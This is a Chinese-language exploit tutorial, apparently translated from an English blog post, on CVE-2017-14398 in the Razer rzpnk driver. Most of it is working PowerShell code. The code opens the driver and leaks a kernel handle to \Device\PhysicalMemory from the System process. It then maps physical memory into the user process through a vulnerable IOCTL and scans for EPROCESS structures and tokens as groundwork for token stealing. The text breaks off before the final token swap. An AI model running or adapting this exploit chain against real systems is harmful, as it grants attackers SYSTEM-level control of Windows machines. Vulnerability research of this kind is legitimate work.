返回介绍

Exploiting ZwMapViewOfSection (CVE-2017-14398)

发布于 2025-01-03 23:32:58 字数 27624 浏览 0 评论 0 收藏 0

是时候上点好东西了!我强烈推荐你先看看 @rwfpl 的文章来了解一下该 bug 类型的背景知识,ntiolib/winio exp 在这里 here

记住在第一个截图中函数期望一个 0x30 尺寸的输入(6 个 QWORD),同时输出也是 0x30 大小。我们可以快速创建一个 POC 来访问到漏洞函数。

Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
   
public static class Razer
{
  [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
  public static extern IntPtr CreateFile(
    String lpFileName,
    UInt32 dwDesiredAccess,
    UInt32 dwShareMode,
    IntPtr lpSecurityAttributes,
    UInt32 dwCreationDisposition,
    UInt32 dwFlagsAndAttributes,
    IntPtr hTemplateFile);
   
  [DllImport("Kernel32.dll", SetLastError = true)]
  public static extern bool DeviceIoControl(
    IntPtr hDevice,
    int IoControlCode,
    byte[] InBuffer,
    int nInBufferSize,
    IntPtr OutBuffer,
    int nOutBufferSize,
    ref int pBytesReturned,
    IntPtr Overlapped);
 
  [DllImport("kernel32.dll", SetLastError = true)]
  public static extern IntPtr VirtualAlloc(
    IntPtr lpAddress,
    uint dwSize,
    UInt32 flAllocationType,
    UInt32 flProtect);
}
"@
 
#----------------[Get Driver Handle]
 
$hDevice = [Razer]::CreateFile("\\.\47CD78C9-64C3-47C2-B80F-677B887CF095", [System.IO.FileAccess]::ReadWrite,
[System.IO.FileShare]::ReadWrite, [System.IntPtr]::Zero, 0x3, 0x40000080, [System.IntPtr]::Zero)
 
if ($hDevice -eq -1) {
  echo "`n[!] Unable to get driver handle..`n"
  Return
} else {
  echo "`n[>] Driver access OK.."
  echo "[+] lpFileName: \\.\47CD78C9-64C3-47C2-B80F-677B887CF095 => rzpnk"
  echo "[+] Handle: $hDevice"
}
 
#----------------[Prepare buffer & Send IOCTL]
 
# Input buffer
$InBuffer = @(
  [System.BitConverter]::GetBytes([Int64]0xAAAAAA) +
  [System.BitConverter]::GetBytes([Int64]0xBBBBBB) +
  [System.BitConverter]::GetBytes([Int64]0xCCCCCC) +
  [System.BitConverter]::GetBytes([Int64]0xDDDDDD) +
  [System.BitConverter]::GetBytes([Int64]0xEEEEEE) +
  [System.BitConverter]::GetBytes([Int64]0xFFFFFF)
)
 
# Output buffer
$OutBuffer = [Razer]::VirtualAlloc([System.IntPtr]::Zero, 1024, 0x3000, 0x40)
 
# Ptr receiving output byte count
$IntRet = 0
 
#=======
# 0x22A064 - ZwMapViewOfSection
#=======
$CallResult = [Razer]::DeviceIoControl($hDevice, 0x22A064, $InBuffer, $InBuffer.Length, $OutBuffer, 1024, [ref]$IntRet, [System.IntPtr]::Zero)
if (!$CallResult) {
  echo "`n[!] DeviceIoControl failed..`n"
  Return
}
 
#----------------[Read out the result buffer]
echo "`n[>] Call result:"
"{0:X}" -f $([System.Runtime.InteropServices.Marshal]::ReadInt64($OutBuffer.ToInt64())) # 0x30 pyramid scheme ;)
"{0:X}" -f $([System.Runtime.InteropServices.Marshal]::ReadInt64($OutBuffer.ToInt64()+8))
"{0:X}" -f $([System.Runtime.InteropServices.Marshal]::ReadInt64($OutBuffer.ToInt64()+8+8))
"{0:X}" -f $([System.Runtime.InteropServices.Marshal]::ReadInt64($OutBuffer.ToInt64()+8+8+8))
"{0:X}" -f $([System.Runtime.InteropServices.Marshal]::ReadInt64($OutBuffer.ToInt64()+8+8+8+8))
"{0:X}" -f $([System.Runtime.InteropServices.Marshal]::ReadInt64($OutBuffer.ToInt64()+8+8+8+8+8))

在做调试之前,我们先运行 POc 并看看驱动返回了什么。

很好,附加了一串输入参数后我们可以看到 Int64 返回了 0,低序 DWORD 返回了 NTSTATUS code 。这种情况下, ZwMapViewOfSection 返回了 STATUS_INVALID_HANDLE ,它表示函数期望一个区段句柄作为第一个参数,而我们却填充了一些垃圾值。另一方面的影响在于我们可以通过对比 NTSTATUS 码 0x0(STATUS_SUCCESS)来鉴别调用是否成功。

图中可以看到我们已经知道了一些静态参数的值,为了消除疑惑我们在调用 ZwMapViewOfSection 调用处下个断点,检查寄存器和堆栈。ZwMapViewOfSection 使用 stdcall 标准,因此,参数会被存储在 RCX,RDX,R8,R9 以及栈上。

把这些全部放在我们的输入参数中,得到下面的内容。

NTSTATUS ZwMapViewOfSection(
  _In_    HANDLE      SectionHandle,    | Param 3 - RCX = SectionHandle
  _In_    HANDLE      ProcessHandle,    | Param 1 - RDX = ProcessHandle
  _Inout_   PVOID       *BaseAddress,     | Param 2 - R8  = BaseAddress -> Irrelevant, ptr to NULL
  _In_    ULONG_PTR     ZeroBits,       | 0 -> OK - R9
  _In_    SIZE_T      CommitSize,     | Param 5 - CommitSize / ViewSize
  _Inout_opt_ PLARGE_INTEGER  SectionOffset,    | 0 -> OK
  _Inout_   PSIZE_T     ViewSize,       | Param 5 - CommitSize / ViewSize
  _In_    SECTION_INHERIT InheritDisposition, | 2 = ViewUnmap
  _In_    ULONG       AllocationType,   | 0 -> Undocumented?
  _In_    ULONG       Win32Protect    | 0x40 -> PAGE_READWRITE
);

这里我们大部分能控制的都很直接。进程句柄的话我们仅仅需要传递一个到 Powershell 有完整权限的句柄,提交尺寸/视图尺寸则很简单,就是我们映射到进程的大小。但还是有个问题,我们要如何得到一个区段句柄,驱动并没有任何的函数允许我们去调用 ZwCreateSection 或 ZwOpenSection。

Leaking Physical Memory

在这一点上我甚是迷惑,由于我无法创建一个区段句柄,exp 也就到此为止了。幸运的是 @aionescu 给了我一些灵感。使用 NtQuerySystemInformation 并携带 SystemHandleInformation 类别参数我们可以泄露出系统上通过进程打开的所有句柄。这些句柄是每-进程用户空间句柄,然而,System 进程(PID=4) 是一个特殊的例子,它允许我们转换用户空间句柄成内核句柄!

我为什么要关心这些?实际上 System 有一个到"\Device\PhysicalMemory"的句柄,如果我们可以泄露出该句柄的话,就可以利用 ZwMapViewOfSection 来直接映射物理内存到我们的 PowerShel 进程了!

我写了一个 powershell 函数来实现这个功能。它使用静态的句柄常量来判断进程打开的句柄类型。我近期更新了这个函数,它现在可以在 Win 7 到 Win 10 RS2 上工作。 Get-Handles 是我 GitHub 上的 PSKernel-Primitives repo 的一部分,如果你想要利用 PowerShell 做内核 pwn 的话,可以使用它。

获取内核句柄所需要做的就是把一个静态值与 0x204(64 位:0xffffffff80000000,32 位:0x80000000)做加法运算。我们可以动态的做这件事。

$SystemProcHandles = Get-Handles -ProcID 4
[Int]$UserSectionHandle = $(($SystemProcHandles |Where-Object {$_.ObjectType -eq "Section"}).Handle)
[Int64]$SystemSectionHandle = $UserSectionHandle + 0xffffffff80000000

现在我们可以把所有东西整合一下,写一个新 POC。为了测试起见,我们尝试去映射 1mb 的物理内存到 PowerShell。

function RZ-ZwMapViewOfSection {
  Add-Type -TypeDefinition @"
  using System;
  using System.Diagnostics;
  using System.Runtime.InteropServices;
  using System.Security.Principal;
   
  public static class Razer
  {
    [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
    public static extern IntPtr CreateFile(
      String lpFileName,
      UInt32 dwDesiredAccess,
      UInt32 dwShareMode,
      IntPtr lpSecurityAttributes,
      UInt32 dwCreationDisposition,
      UInt32 dwFlagsAndAttributes,
      IntPtr hTemplateFile);
   
    [DllImport("Kernel32.dll", SetLastError = true)]
    public static extern bool DeviceIoControl(
      IntPtr hDevice,
      int IoControlCode,
      byte[] InBuffer,
      int nInBufferSize,
      IntPtr OutBuffer,
      int nOutBufferSize,
      ref int pBytesReturned,
      IntPtr Overlapped);
   
    [DllImport("kernel32.dll", SetLastError = true)]
    public static extern IntPtr VirtualAlloc(
      IntPtr lpAddress,
      uint dwSize,
      UInt32 flAllocationType,
      UInt32 flProtect);
   
    [DllImport("kernel32.dll")]
    public static extern IntPtr OpenProcess(
      UInt32 processAccess,
      bool bInheritHandle,
      int processId);
  }
"@
 
  #----------------[Helper Funcs]
  function Get-Handles {
  <#
  .SYNOPSIS
    Use NtQuerySystemInformation::SystemHandleInformation to get a list of
    open handles in the specified process, works on x32/x64.
    Notes:
   
    * For more robust coding I would recomend using @mattifestation's
    Get-NtSystemInformation.ps1 part of PowerShellArsenal.
   
  .DESCRIPTION
    Author: Ruben Boonen (@FuzzySec)
    License: BSD 3-Clause
    Required Dependencies: None
    Optional Dependencies: None
   
  .EXAMPLE
    C:\PS> $SystemProcHandles = Get-Handles -ProcID 4
    C:\PS> $Key = $SystemProcHandles |Where-Object {$_.ObjectType -eq "Key"}
    C:\PS> $Key |ft
   
    ObjectType AccessMask PID Handle HandleFlags KernelPointer
    ---------- ---------- --- ------ ----------- -------------
    Key    0x00000000   4 0x004C NONE    0xFFFFC9076FC29BC0
    Key    0x00020000   4 0x0054 NONE    0xFFFFC9076FCDA7F0
    Key    0x000F0000   4 0x0058 NONE    0xFFFFC9076FC39CE0
    Key    0x00000000   4 0x0090 NONE    0xFFFFC907700A6B40
    Key    0x00000000   4 0x0098 NONE    0xFFFFC90770029F70
    Key    0x00020000   4 0x00A0 NONE    0xFFFFC9076FC9C1A0
    [...Snip...]
  #>
   
    [CmdletBinding()]
    param (
      [Parameter(Mandatory = $True)]
      [int]$ProcID
    )
     
    Add-Type -TypeDefinition @"
    using System;
    using System.Diagnostics;
    using System.Runtime.InteropServices;
    using System.Security.Principal;
     
    [StructLayout(LayoutKind.Sequential, Pack = 1)]
    public struct SYSTEM_HANDLE_INFORMATION
    {
      public UInt32 ProcessID;
      public Byte ObjectTypeNumber;
      public Byte Flags;
      public UInt16 HandleValue;
      public IntPtr Object_Pointer;
      public UInt32 GrantedAccess;
    }
     
    public static class GetHandles
    {
      [DllImport("ntdll.dll")]
      public static extern int NtQuerySystemInformation(
        int SystemInformationClass,
        IntPtr SystemInformation,
        int SystemInformationLength,
        ref int ReturnLength);
    }
"@
   
    # Make sure the PID exists
    if (!$(get-process -Id $ProcID -ErrorAction SilentlyContinue)) {
      Return
    }
   
    # Flag switches (0 = NONE?)
    $FlagSwitches = @{
      0 = 'NONE'
      1 = 'PROTECT_FROM_CLOSE'
      2 = 'INHERIT'
    }
     
    $OSVersion = [Version](Get-WmiObject Win32_OperatingSystem).Version
    $OSMajorMinor = "$($OSVersion.Major).$($OSVersion.Minor)"
    switch ($OSMajorMinor)
    {
      '10.0' # Windows 10 (Tested on v1511)
      {
        # Win 10 v1703
        if ($OSVersion.Build -ge 15063) {
          $TypeSwitches = @{
            0x24 = 'TmTm'; 0x18 = 'Desktop'; 0x7 = 'Process'; 0x2c = 'RegistryTransaction'; 0xe = 'DebugObject';
            0x3d = 'VRegConfigurationContext'; 0x34 = 'DmaDomain'; 0x1c = 'TpWorkerFactory'; 0x1d = 'Adapter';
            0x5 = 'Token'; 0x39 = 'DxgkSharedResource'; 0xc = 'PsSiloContextPaged'; 0x38 = 'NdisCmState';
            0xb = 'ActivityReference'; 0x35 = 'PcwObject'; 0x2f = 'WmiGuid'; 0x33 = 'DmaAdapter';
            0x30 = 'EtwRegistration'; 0x29 = 'Session'; 0x1a = 'RawInputManager'; 0x13 = 'Timer'; 0x10 = 'Mutant';
            0x14 = 'IRTimer'; 0x3c = 'DxgkCurrentDxgProcessObject'; 0x21 = 'IoCompletion';
            0x3a = 'DxgkSharedSyncObject'; 0x17 = 'WindowStation'; 0x15 = 'Profile'; 0x23 = 'File';
            0x2a = 'Partition'; 0x12 = 'Semaphore'; 0xd = 'PsSiloContextNonPaged'; 0x32 = 'EtwConsumer';
            0x19 = 'Composition'; 0x31 = 'EtwSessionDemuxEntry'; 0x1b = 'CoreMessaging'; 0x25 = 'TmTx';
            0x4 = 'SymbolicLink'; 0x36 = 'FilterConnectionPort'; 0x2b = 'Key'; 0x16 = 'KeyedEvent';
            0x11 = 'Callback'; 0x22 = 'WaitCompletionPacket'; 0x9 = 'UserApcReserve'; 0x6 = 'Job';
            0x3b = 'DxgkSharedSwapChainObject'; 0x1e = 'Controller'; 0xa = 'IoCompletionReserve'; 0x1f = 'Device';
            0x3 = 'Directory'; 0x28 = 'Section'; 0x27 = 'TmEn'; 0x8 = 'Thread'; 0x2 = 'Type';
            0x37 = 'FilterCommunicationPort'; 0x2e = 'PowerRequest'; 0x26 = 'TmRm'; 0xf = 'Event';
            0x2d = 'ALPC Port'; 0x20 = 'Driver';
          }
        }
         
        # Win 10 v1607
        if ($OSVersion.Build -ge 14393 -And $OSVersion.Build -lt 15063) {
          $TypeSwitches = @{
            0x23 = 'TmTm'; 0x17 = 'Desktop'; 0x7 = 'Process'; 0x2b = 'RegistryTransaction'; 0xd = 'DebugObject';
            0x3a = 'VRegConfigurationContext'; 0x32 = 'DmaDomain'; 0x1b = 'TpWorkerFactory'; 0x1c = 'Adapter';
            0x5 = 'Token'; 0x37 = 'DxgkSharedResource'; 0xb = 'PsSiloContextPaged'; 0x36 = 'NdisCmState';
            0x33 = 'PcwObject'; 0x2e = 'WmiGuid'; 0x31 = 'DmaAdapter'; 0x2f = 'EtwRegistration';
            0x28 = 'Session'; 0x19 = 'RawInputManager'; 0x12 = 'Timer'; 0xf = 'Mutant'; 0x13 = 'IRTimer';
            0x20 = 'IoCompletion'; 0x38 = 'DxgkSharedSyncObject'; 0x16 = 'WindowStation'; 0x14 = 'Profile';
            0x22 = 'File'; 0x3b = 'VirtualKey'; 0x29 = 'Partition'; 0x11 = 'Semaphore'; 0xc = 'PsSiloContextNonPaged';
            0x30 = 'EtwConsumer'; 0x18 = 'Composition'; 0x1a = 'CoreMessaging'; 0x24 = 'TmTx'; 0x4 = 'SymbolicLink';
            0x34 = 'FilterConnectionPort'; 0x2a = 'Key'; 0x15 = 'KeyedEvent'; 0x10 = 'Callback';
            0x21 = 'WaitCompletionPacket'; 0x9 = 'UserApcReserve'; 0x6 = 'Job'; 0x39 = 'DxgkSharedSwapChainObject';
            0x1d = 'Controller'; 0xa = 'IoCompletionReserve'; 0x1e = 'Device'; 0x3 = 'Directory'; 0x27 = 'Section';
            0x26 = 'TmEn'; 0x8 = 'Thread'; 0x2 = 'Type'; 0x35 = 'FilterCommunicationPort'; 0x2d = 'PowerRequest';
            0x25 = 'TmRm'; 0xe = 'Event'; 0x2c = 'ALPC Port'; 0x1f = 'Driver';
          }
        }
         
        # Win 10 v1511
        if ($OSVersion.Build -lt 14393) {
          $TypeSwitches = @{
            0x02 = 'Type'; 0x03 = 'Directory'; 0x04 = 'SymbolicLink'; 0x05 = 'Token'; 0x06 = 'Job';
            0x07 = 'Process'; 0x08 = 'Thread'; 0x09 = 'UserApcReserve'; 0x0A = 'IoCompletionReserve';
            0x0B = 'DebugObject'; 0x0C = 'Event'; 0x0D = 'Mutant'; 0x0E = 'Callback'; 0x0F = 'Semaphore';
            0x10 = 'Timer'; 0x11 = 'IRTimer'; 0x12 = 'Profile'; 0x13 = 'KeyedEvent'; 0x14 = 'WindowStation';
            0x15 = 'Desktop'; 0x16 = 'Composition'; 0x17 = 'RawInputManager'; 0x18 = 'TpWorkerFactory';
            0x19 = 'Adapter'; 0x1A = 'Controller'; 0x1B = 'Device'; 0x1C = 'Driver'; 0x1D = 'IoCompletion';
            0x1E = 'WaitCompletionPacket'; 0x1F = 'File'; 0x20 = 'TmTm'; 0x21 = 'TmTx'; 0x22 = 'TmRm';
            0x23 = 'TmEn'; 0x24 = 'Section'; 0x25 = 'Session'; 0x26 = 'Partition'; 0x27 = 'Key';
            0x28 = 'ALPC Port'; 0x29 = 'PowerRequest'; 0x2A = 'WmiGuid'; 0x2B = 'EtwRegistration';
            0x2C = 'EtwConsumer'; 0x2D = 'DmaAdapter'; 0x2E = 'DmaDomain'; 0x2F = 'PcwObject';
            0x30 = 'FilterConnectionPort'; 0x31 = 'FilterCommunicationPort'; 0x32 = 'NetworkNamespace';
            0x33 = 'DxgkSharedResource'; 0x34 = 'DxgkSharedSyncObject'; 0x35 = 'DxgkSharedSwapChainObject';
          }
        }
      }
       
      '6.2' # Windows 8 and Windows Server 2012
      {
        $TypeSwitches = @{
          0x02 = 'Type'; 0x03 = 'Directory'; 0x04 = 'SymbolicLink'; 0x05 = 'Token'; 0x06 = 'Job';
          0x07 = 'Process'; 0x08 = 'Thread'; 0x09 = 'UserApcReserve'; 0x0A = 'IoCompletionReserve';
          0x0B = 'DebugObject'; 0x0C = 'Event'; 0x0D = 'EventPair'; 0x0E = 'Mutant'; 0x0F = 'Callback';
          0x10 = 'Semaphore'; 0x11 = 'Timer'; 0x12 = 'IRTimer'; 0x13 = 'Profile'; 0x14 = 'KeyedEvent';
          0x15 = 'WindowStation'; 0x16 = 'Desktop'; 0x17 = 'CompositionSurface'; 0x18 = 'TpWorkerFactory';
          0x19 = 'Adapter'; 0x1A = 'Controller'; 0x1B = 'Device'; 0x1C = 'Driver'; 0x1D = 'IoCompletion';
          0x1E = 'WaitCompletionPacket'; 0x1F = 'File'; 0x20 = 'TmTm'; 0x21 = 'TmTx'; 0x22 = 'TmRm';
          0x23 = 'TmEn'; 0x24 = 'Section'; 0x25 = 'Session'; 0x26 = 'Key'; 0x27 = 'ALPC Port';
          0x28 = 'PowerRequest'; 0x29 = 'WmiGuid'; 0x2A = 'EtwRegistration'; 0x2B = 'EtwConsumer';
          0x2C = 'FilterConnectionPort'; 0x2D = 'FilterCommunicationPort'; 0x2E = 'PcwObject';
          0x2F = 'DxgkSharedResource'; 0x30 = 'DxgkSharedSyncObject';
        }
      }
     
      '6.1' # Windows 7 and Window Server 2008 R2
      {
        $TypeSwitches = @{
          0x02 = 'Type'; 0x03 = 'Directory'; 0x04 = 'SymbolicLink'; 0x05 = 'Token'; 0x06 = 'Job';
          0x07 = 'Process'; 0x08 = 'Thread'; 0x09 = 'UserApcReserve'; 0x0a = 'IoCompletionReserve';
          0x0b = 'DebugObject'; 0x0c = 'Event'; 0x0d = 'EventPair'; 0x0e = 'Mutant'; 0x0f = 'Callback';
          0x10 = 'Semaphore'; 0x11 = 'Timer'; 0x12 = 'Profile'; 0x13 = 'KeyedEvent'; 0x14 = 'WindowStation';
          0x15 = 'Desktop'; 0x16 = 'TpWorkerFactory'; 0x17 = 'Adapter'; 0x18 = 'Controller';
          0x19 = 'Device'; 0x1a = 'Driver'; 0x1b = 'IoCompletion'; 0x1c = 'File'; 0x1d = 'TmTm';
          0x1e = 'TmTx'; 0x1f = 'TmRm'; 0x20 = 'TmEn'; 0x21 = 'Section'; 0x22 = 'Session'; 0x23 = 'Key';
          0x24 = 'ALPC Port'; 0x25 = 'PowerRequest'; 0x26 = 'WmiGuid'; 0x27 = 'EtwRegistration';
          0x28 = 'EtwConsumer'; 0x29 = 'FilterConnectionPort'; 0x2a = 'FilterCommunicationPort';
          0x2b = 'PcwObject';
        }
      }
     
      '6.0' # Windows Vista and Windows Server 2008
      {
        $TypeSwitches = @{
          0x01 = 'Type'; 0x02 = 'Directory'; 0x03 = 'SymbolicLink'; 0x04 = 'Token'; 0x05 = 'Job';
          0x06 = 'Process'; 0x07 = 'Thread'; 0x08 = 'DebugObject'; 0x09 = 'Event'; 0x0a = 'EventPair';
          0x0b = 'Mutant'; 0x0c = 'Callback'; 0x0d = 'Semaphore'; 0x0e = 'Timer'; 0x0f = 'Profile';
          0x10 = 'KeyedEvent'; 0x11 = 'WindowStation'; 0x12 = 'Desktop'; 0x13 = 'TpWorkerFactory';
          0x14 = 'Adapter'; 0x15 = 'Controller'; 0x16 = 'Device'; 0x17 = 'Driver'; 0x18 = 'IoCompletion';
          0x19 = 'File'; 0x1a = 'TmTm'; 0x1b = 'TmTx'; 0x1c = 'TmRm'; 0x1d = 'TmEn'; 0x1e = 'Section';
          0x1f = 'Session'; 0x20 = 'Key'; 0x21 = 'ALPC Port'; 0x22 = 'WmiGuid'; 0x23 = 'EtwRegistration';
          0x24 = 'FilterConnectionPort'; 0x25 = 'FilterCommunicationPort';
        }
      }
    }
   
    [int]$BuffPtr_Size = 0
    while ($true) {
      [IntPtr]$BuffPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($BuffPtr_Size)
      $SystemInformationLength = New-Object Int
     
      $CallResult = [GetHandles]::NtQuerySystemInformation(16, $BuffPtr, $BuffPtr_Size, [ref]$SystemInformationLength)
       
      # STATUS_INFO_LENGTH_MISMATCH
      if ($CallResult -eq 0xC0000004) {
        [System.Runtime.InteropServices.Marshal]::FreeHGlobal($BuffPtr)
        [int]$BuffPtr_Size = [System.Math]::Max($BuffPtr_Size,$SystemInformationLength)
      }
      # STATUS_SUCCESS
      elseif ($CallResult -eq 0x00000000) {
        break
      }
      # Probably: 0xC0000005 -> STATUS_ACCESS_VIOLATION
      else {
        [System.Runtime.InteropServices.Marshal]::FreeHGlobal($BuffPtr)
        return
      }
    }
     
    $SYSTEM_HANDLE_INFORMATION = New-Object SYSTEM_HANDLE_INFORMATION
    $SYSTEM_HANDLE_INFORMATION = $SYSTEM_HANDLE_INFORMATION.GetType()
    if ([System.IntPtr]::Size -eq 4) {
      $SYSTEM_HANDLE_INFORMATION_Size = 16 # This makes sense!
    } else {
      $SYSTEM_HANDLE_INFORMATION_Size = 24 # This doesn't make sense, should be 20 on x64 but that doesn't work.
                        # Ask no questions, hear no lies!
    }
     
    $BuffOffset = $BuffPtr.ToInt64()
    $HandleCount = [System.Runtime.InteropServices.Marshal]::ReadInt32($BuffOffset)
    $BuffOffset = $BuffOffset + [System.IntPtr]::Size
     
    $SystemHandleArray = @()
    for ($i=0; $i -lt $HandleCount; $i++){
      # PtrToStructure only objects we are targeting, this is expensive computation
      if ([System.Runtime.InteropServices.Marshal]::ReadInt32($BuffOffset) -eq $ProcID) {
        $SystemPointer = New-Object System.Intptr -ArgumentList $BuffOffset
        $Cast = [system.runtime.interopservices.marshal]::PtrToStructure($SystemPointer,[type]$SYSTEM_HANDLE_INFORMATION)
         
        $HashTable = @{
          PID = $Cast.ProcessID
          ObjectType = if (!$($TypeSwitches[[int]$Cast.ObjectTypeNumber])) { "0x$('{0:X2}' -f [int]$Cast.ObjectTypeNumber)" } else { $TypeSwitches[[int]$Cast.ObjectTypeNumber] }
          HandleFlags = $FlagSwitches[[int]$Cast.Flags]
          Handle = "0x$('{0:X4}' -f [int]$Cast.HandleValue)"
          KernelPointer = if ([System.IntPtr]::Size -eq 4) { "0x$('{0:X}' -f $Cast.Object_Pointer.ToInt32())" } else { "0x$('{0:X}' -f $Cast.Object_Pointer.ToInt64())" }
          AccessMask = "0x$('{0:X8}' -f $($Cast.GrantedAccess -band 0xFFFF0000))"
        }
         
        $Object = New-Object PSObject -Property $HashTable
        $SystemHandleArray += $Object
         
      }
   
      $BuffOffset = $BuffOffset + $SYSTEM_HANDLE_INFORMATION_Size
    }
     
    if ($($SystemHandleArray.count) -eq 0) {
      [System.Runtime.InteropServices.Marshal]::FreeHGlobal($BuffPtr)
      Return
    }
     
    # Set column order and auto size
    $SystemHandleArray
     
    # Free SYSTEM_HANDLE_INFORMATION array
    [System.Runtime.InteropServices.Marshal]::FreeHGlobal($BuffPtr)
  }
 
  #----------------[Get Driver Handle]
   
  $hDevice = [Razer]::CreateFile("\\.\47CD78C9-64C3-47C2-B80F-677B887CF095", [System.IO.FileAccess]::ReadWrite,
  [System.IO.FileShare]::ReadWrite, [System.IntPtr]::Zero, 0x3, 0x40000080, [System.IntPtr]::Zero)
   
  if ($hDevice -eq -1) {
    echo "`n[!] Unable to get driver handle..`n"
    Return
  } else {
    echo "`n[>] Driver access OK.."
    echo "[+] lpFileName: \\.\47CD78C9-64C3-47C2-B80F-677B887CF095 => rzpnk"
    echo "[+] Handle: $hDevice"
  }
   
  #----------------[Prepare buffer & Send IOCTL]
   
  # Get full access process handle to self
  echo "`n[>] Opening full access handle to PowerShell.."
  $hPoshProc = [Razer]::OpenProcess(0x001F0FFF,$false,$PID)
  echo "[+] PowerShell handle: $hPoshProc"
   
  # Get Section handle
  echo "`n[>] Leaking Kernel handle to \Device\PhysicalMemory.."
  $SystemProcHandles = Get-Handles -ProcID 4
  [Int]$UserSectionHandle = $(($SystemProcHandles |Where-Object {$_.ObjectType -eq "Section"}).Handle)
  [Int64]$SystemSectionHandle = $UserSectionHandle + 0xffffffff80000000
  echo "[+] System section handle: $('{0:X}' -f $SystemSectionHandle)"
   
  # NTSTATUS ZwMapViewOfSection(
  #   _In_    HANDLE      SectionHandle,    | Param 3 - RCX = SectionHandle
  #   _In_    HANDLE      ProcessHandle,    | Param 1 - RDX = ProcessHandle
  #   _Inout_   PVOID       *BaseAddress,     | Param 2 - R8  = BaseAddress -> Irrelevant, ptr to NULL
  #   _In_    ULONG_PTR     ZeroBits,       | 0 -> OK - R9
  #   _In_    SIZE_T      CommitSize,     | Param 5 - CommitSize / ViewSize
  #   _Inout_opt_ PLARGE_INTEGER  SectionOffset,    | 0 -> OK
  #   _Inout_   PSIZE_T     ViewSize,       | Param 5 - CommitSize / ViewSize
  #   _In_    SECTION_INHERIT InheritDisposition, | 2 = ViewUnmap
  #   _In_    ULONG       AllocationType,   | 0 -> Undocumented?
  #   _In_    ULONG       Win32Protect    | 0x40 -> PAGE_READWRITE
  # );
  $InBuffer = @(
    [System.BitConverter]::GetBytes($hPoshProc.ToInt64()) +    # Param 1 - RDX=ProcessHandle
    [System.BitConverter]::GetBytes([Int64]0x0) +        # Param 2 - BaseAddress -> Irrelevant, ptr to NULL
    [System.BitConverter]::GetBytes($SystemSectionHandle) +    # Param 3 - RCX=SectionHandle
    [System.BitConverter]::GetBytes([Int64]4) +          # Param 4 - ? junk ?
    [System.BitConverter]::GetBytes([Int64]$(1*1024*1024)) +   # Param 5 - CommitSize / ViewSize (1mb)
    [System.BitConverter]::GetBytes([Int64]4)          # Param 6 - ? junk ?
  )
   
  # Output buffer
  $OutBuffer = [Razer]::VirtualAlloc([System.IntPtr]::Zero, 1024, 0x3000, 0x40)
   
  # Ptr receiving output byte count
  $IntRet = 0
   
  #=======
  # 0x22a050 - ZwOpenProcess
  # 0x22A064 - ZwMapViewOfSection
  #=======
  $CallResult = [Razer]::DeviceIoControl($hDevice, 0x22A064, $InBuffer, $InBuffer.Length, $OutBuffer, 1024, [ref]$IntRet, [System.IntPtr]::Zero)
  if (!$CallResult) {
    echo "`n[!] DeviceIoControl failed..`n"
    Return
  }
   
  #----------------[Read out the result buffer]
  echo "`n[>] Verifying ZwMapViewOfSection.."
  $NTSTATUS = "{0:X}" -f $([System.Runtime.InteropServices.Marshal]::ReadInt64($OutBuffer.ToInt64()+8+8+8+8+8))
  $Address = [System.Runtime.InteropServices.Marshal]::ReadInt64($OutBuffer.ToInt64()+8+8+8)
  if ($NTSTATUS -eq 0) {
    echo "[+] NTSTATUS Success!"
    echo "[+] 1mb RWX \Device\PhysicalMemory allocated at: $('{0:X}' -f $Address)`n"
  } else {
    echo "[!] Call failed: $('{0:X}' -f $NTSTATUS)`n"
  }
}

运行 POC,得到下列输出。

注意到我们通过阅读 NTSTATUS 码来丈量是否成功,Int64 值此前是 0,而这一次它是一个地址,表示我们本地进程中区段的映射位置。在 Process Hacker 中可以看到确实分配了一个严格大小的 1024kb 的内存块。

使用 Process Hacker,我们实际上可以转储这块内存到磁盘上。如果我们那样做的话,就可以看到下面一些有趣的内容。Bootkit?

我们已证实了这个漏洞,但我们要如何去获取一个 SYSTEM shell 呢?

Hunting EPROCESS

最直接的办法就是通过写一个经典的 token 窃取 exp。困难在于要在我们映射的内存中查找 EPROCESS 结构体。WinDBG 中显示 EPROCESS 结构体被分配在一个标签为’Proc’的池块上。

EPROCESS 指针减去’Proc’池块首,我们可以立即算出头部尺寸。相反的,如果我们有了一个任意’Proc’池地址的话,我们也可以计算出 EPROCESS 结构的任意属性的位置。

如果你想查找这些依赖于架构/版本的偏移字段而不想利用 KD 的话,你可以看看 Terminus Project 。这是 @rwfpl 所分享的很帮的资源,它会在很多情景下节省你大量的时间。

所以我们就把问题简化到寻找’Proc’池块上,现在还没通关。为了找到这些块我们可以扫描整个内存映射区段来查找这个特殊的’Proc’池标签。

因为优化的原因,我们注意到池块都以 0x10 对齐。本质上,这意味着我们只需要以 16 字节作为单位进行读取。这可能没什么但却节省了宝贵的时间。即使如此,这个搜索也是非常之缓慢,毕竟’Proc’池块标签在 900mb 之后就开始存在了。我们可以通过扫描 0x30000000(0x30000000/(1024*1024)=768mb) 起始的映射内存来进一步的优化搜索过程,对不同 OS 版本来说,这个数可能会变化。

为了验证我们的理论,我们可以用下面的循环(在 1.2gb 映射区段)来查找’Proc’池块并转储一些 EPROCESS 数据来验证。

echo "`n[>] Parsing physical memory, coffee time..`n"
for ($i=0x30000000;$i -lt $(1200*1024*1024); $i+=0x10) {
   
  # Read potential pooltag
  $Val = [System.Runtime.InteropServices.Marshal]::ReadInt32($Address+$i+4)
   
  # If pooltag matches Proc, pull out details..
  if ($Val -eq 0xe36f7250) {
    echo "[+] w00t Proc chunk found!"
    $ProcessName = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($Address+$i+0x60+0x2d8+8) # Not sure why +8 here?
    $Token = [System.Runtime.InteropServices.Marshal]::ReadInt64($Address+$i+0x60+0x208)
    $ProcID = [System.Runtime.InteropServices.Marshal]::ReadInt64($Address+$i+0x60+0x180)
    echo "[>] Address: $('{0:X}' -f $($Address+$i))"
    echo "[>] $ProcessName"
    echo "[>] $ProcID"
    echo "[>] Token: $('{0:X}' -f $Token)"
    echo "==========================================="
  }
}

一部分结果如下:

如你所见,该实现体并不完美,某些映像的名称被截断了,且有着少量的检测完全没有显示 EPROCESS 结构体。幸运的是,我发现大部分进程都可以保证被正确的检测到(包括 PowerShell/lsass)。

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群
